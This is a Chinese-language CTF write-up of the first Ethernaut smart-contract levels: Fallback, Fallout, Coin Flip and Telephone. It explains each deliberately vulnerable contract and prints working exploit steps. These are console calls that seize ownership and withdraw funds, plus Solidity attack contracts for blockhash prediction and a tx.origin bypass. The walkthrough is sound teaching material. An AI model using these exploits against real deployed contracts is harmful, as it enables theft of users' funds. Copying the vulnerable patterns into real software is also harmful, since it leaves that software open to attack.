Hello Ethernaut

设置扩展程序的MetaMask,连接自己的MetaMask
打开控制台输入player即可看到玩家的地址
**help()**可以查看控制台还有什么功能

(index) Value
player ‘current player address’
ethernaut ‘main game contract’
level ‘current level contract address’
contract ‘current level contract instance (if created)’
instance ‘current level instance contract address (if created)’
version ‘current game version’
getBalance(address) ‘gets balance of address in ether’
getBlockNumber() ‘gets current network block number’
sendTransaction({options}) ‘send transaction util’
getNetworkId() ‘get ethereum network id’
toWei(ether) ‘convert ether units to wei’
fromWei(wei) ‘convert wei units to ether’
deployAllContracts() ‘Deploy all the remaining contracts on the current network.’
https://sepolia-faucet.pk910.de/
我是在上述水龙头网址输入自己的address,然后领取一些SepETH供开启新实例,不然没办法打开实例

Fallback

合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

通过这关你需要

  1. 获得这个合约的所有权
  2. 把他的余额减到0

这可能有帮助

  • 如何通过与ABI互动发送ether
  • 如何在ABI之外发送ether
  • 转换 wei/ether 单位 (参见 help() 命令)
  • Fallback 方法

OK,现在来分析这个合约

关键函数
  1. constructor() - 部署时设置部署者为owner,并给予1000 ether的贡献值
  2. contribute() - 接受小于0.001 ether的捐款
    • 如果捐款者累计贡献超过owner,可以成为新owner
  3. withdraw() - 只有owner可以提取合约内所有ETH
  4. receive() - 特殊的回退函数,当合约收到ETH时触发
    • 要求:msg.value > 0 且 contributions[msg.sender] > 0
    • 条件满足时,调用者直接成为owner

所以让我们先调用 contribute() 发送少量 ETH(小于 0.001 ETH).

1
await contract.contribute.sendTransaction({ value: 1 })

向合约捐赠 1 wei(小于 0.001 ETH),满足 contribute() 的入金限制。
然后在MetaMask上确认

1
await contract.sendTransaction({ value: 1 })

直接向合约地址转账 1 wei(任意正数均可).
这会触发合约的 receive() 函数,检查到 msg.value > 0 且 contributions[msg.sender] > 0,于是将 owner 设置为你的地址.
等待交易确认后,可通过 await contract.owner() 验证,返回了我的地址,所以现在我就是owner
然后调用withdraw()把钱取走

1
await contract.withdraw()

然后提交实例,他会提示我通过了!!
![[Pasted image 20260215163402.png]]
fallback / receive 触发机制

场景 会触发哪个函数
调用不存在函数,且没有 receive() fallback()
向合约地址发送 ETH(无 calldata) receive()
调用不存在函数,但有 calldata(不为空) fallback()
调用存在的普通函数 正常函数
ai对两者解释如下:

fallback 函数

是一个特殊的、未命名的外部函数,每个合约最多可以包含一个。它主要在两种情况下被触发:

  1. 合约收到纯 ETH 转账(没有 msg.data
  2. 调用的函数不存在于合约中
    从 Solidity 0.6.x 开始,fallback 功能被拆分为两个独立的特殊函数:
  • receive() external payable:专门处理纯 ETH 转账。
  • fallback() external payable:处理所有其他情况(函数不存在或 msg.data 非空)。

receive() 函数

  • 必须标记为 external 和 payable
  • 不能有参数,不能返回值。
  • 一个合约最多只能定义一个 receive 函数。
    触发条件
    当向合约发送 ETH 且交易数据为空msg.data.length == 0)时,receive 会被调用。例如:
  • 通过 send 或 transfer 发送 ETH(gas 固定 2300)。
  • 直接通过钱包向合约地址转账。
  • 调用 address.call{value: x}("")(空 calldata)。

Fallout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;



import "openzeppelin-contracts-06/math/SafeMath.sol";



contract Fallout {

using SafeMath for uint256;



mapping(address => uint256) allocations;

address payable public owner;



/* constructor */

function Fal1out() public payable {

owner = msg.sender;

allocations[owner] = msg.value;

}



modifier onlyOwner() {

require(msg.sender == owner, "caller is not the owner");

_;

}



function allocate() public payable {

allocations[msg.sender] = allocations[msg.sender].add(msg.value);

}



function sendAllocation(address payable allocator) public {

require(allocations[allocator] > 0);

allocator.transfer(allocations[allocator]);

}



function collectAllocations() public onlyOwner {

msg.sender.transfer(address(this).balance);

}



function allocatorBalance(address allocator) public view returns (uint256) {

return allocations[allocator];

}

}

可以看到Fallout函数

漏洞在于构造函数名称拼写错误(Fal1out 而不是 Fallout

合约名是Fallout,但构造函数名是Fal1out(注意数字1代替了字母l)。

这里写了一个与合约名不同的函数Fal1out,实际上是普通的public payable函数,任何人都可以调用。所以,把自己设为owner即可!

1
2
3

await contract.owner()

查看合约当前的owner是谁

发现是零地址:0x0000000000000000000000000000000000000000

然后调用写错名字的那个Fal1out函数,这个函数虽然被注释为构造函数,但实际上是一个任何人都可以调用的公开函数,因为名字写错了!

因为是payable 类型,所以不需要发送任何以太币就可以把我设置为owner

1
2
3

await contract.Fal1out()

如果想把资金提取出来可以:

1
2
3

await contract.collectAllocations()

虽然里面没有资金

Coin Flip

核心是:利用区块哈希可预测性来伪造连续 10 次猜中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract CoinFlip {

uint256 public consecutiveWins;

uint256 lastHash;

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;



constructor() {

consecutiveWins = 0;

}



function flip(bool _guess) public returns (bool) {

uint256 blockValue = uint256(blockhash(block.number - 1));



if (lastHash == blockValue) {

revert();

}

lastHash = blockValue;



uint256 coinFlip =

blockValue / FACTOR;



bool side =

coinFlip == 1 ? true : false;



if (side == _guess) {

consecutiveWins++;

return true;

} else {

consecutiveWins = 0;

return false;

}

}

}

题目描述:

1
2
3

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

核心是:利用区块哈希可预测性来伪造连续 10 次猜中

1
2
3

uint256 public consecutiveWins;

记录玩家 连续猜对次数

通关条件:consecutiveWins == 10

1
2
3

uint256 lastHash;

记录 上一次使用的 blockhash

1
2
3
4
5
6
7

if (lastHash == blockValue) {

revert();

}

revert() 的作用是:回滚当前交易并恢复所有状态,同时返回错误

FACTOR被赋予了一个很大的数值,之后查看了一下发现是$2^{255}$

拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等

Exploit:
在Remix中部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface ICoinFlip {

    function flip(bool _guess) external returns (bool);

}

contract CoinFlipAttack {

    uint256 FACTOR =
    57896044618658097711785492504343953926634992332820282019728792003956564819968;

    ICoinFlip target =

    ICoinFlip(0xeDCed343B5F072cbD484F92163808e85220c96EA);

    function attack() public {

        uint256 blockValue =

        uint256(blockhash(block.number - 1));

        uint256 coinFlip =

        blockValue / FACTOR;

        bool side =

        coinFlip == 1;

        target.flip(side);
    }
}

攻击十次即可

Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

可以看到

1
2
3
4
5
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}

msg.sender
当前函数 直接调用者
tx.origin
整个交易 最初发起者
让你调用合约之后保证msg.sender = tx.origin
但是这里可以通过中间合约调用让msg.sender != tx.origin

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external;
}

contract Attack {
function attack(address target) public {
Telephone(target).changeOwner(msg.sender);
}

}

在Remix中deploy一下,attack 实例的地址
就成功了!